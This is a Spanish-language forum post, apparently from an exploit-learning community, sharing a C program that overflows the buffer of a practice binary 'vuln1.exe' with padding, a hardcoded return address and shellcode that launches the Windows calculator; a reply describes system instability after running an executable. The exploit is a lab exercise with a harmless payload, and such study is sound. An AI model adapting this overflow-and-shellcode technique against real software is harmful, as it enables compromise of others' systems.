Hola de nuevo, he cambiado la shellcode para que en lugar de devolvernos al cmd ejecute la calculadora de windows, es una tonteria, pero lo posteo sólo para jugar con el exploit viendo un resultado diferente.
exploit_vuln1_calc.c
Un saludo.
exploit_vuln1_calc.c
Código [Seleccionar]
#include <stdio.h>
#include <stdlib.h>
int main (int argc,char **argv) {
char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS";
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xFB\x63\xC6\x45\xFC\x61\xC6\x45\xFD\x6C\xC6\x45\xFE\x63\x8D\x45\xFB\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";
char offset[]="\xED\x1E\x95\x7C";
strcat(evilbuffer,offset);
strcat(evilbuffer,shellcode);
printf ("Cadena + offset + shellcode en formato printable\n\n");
printf ("%s", evilbuffer);
argv[0] = "vuln1";
argv[1] = evilbuffer;
argv[2] = NULL;
execv ("vuln1.exe",argv);
}Un saludo.


bueno eso lo sé, pero hasta no me importaba si hubiese funcionado, y de hecho funcionó, hasta que el sistema en cuestión de segundos se vuelve inestable, y te ves obligado a cerrar la sesión de windows y volver a entrar. No entiendo porque se vuelve tan inestable, el "archivo.exe" se ejecuta, pero todo lo demás se escoñeta.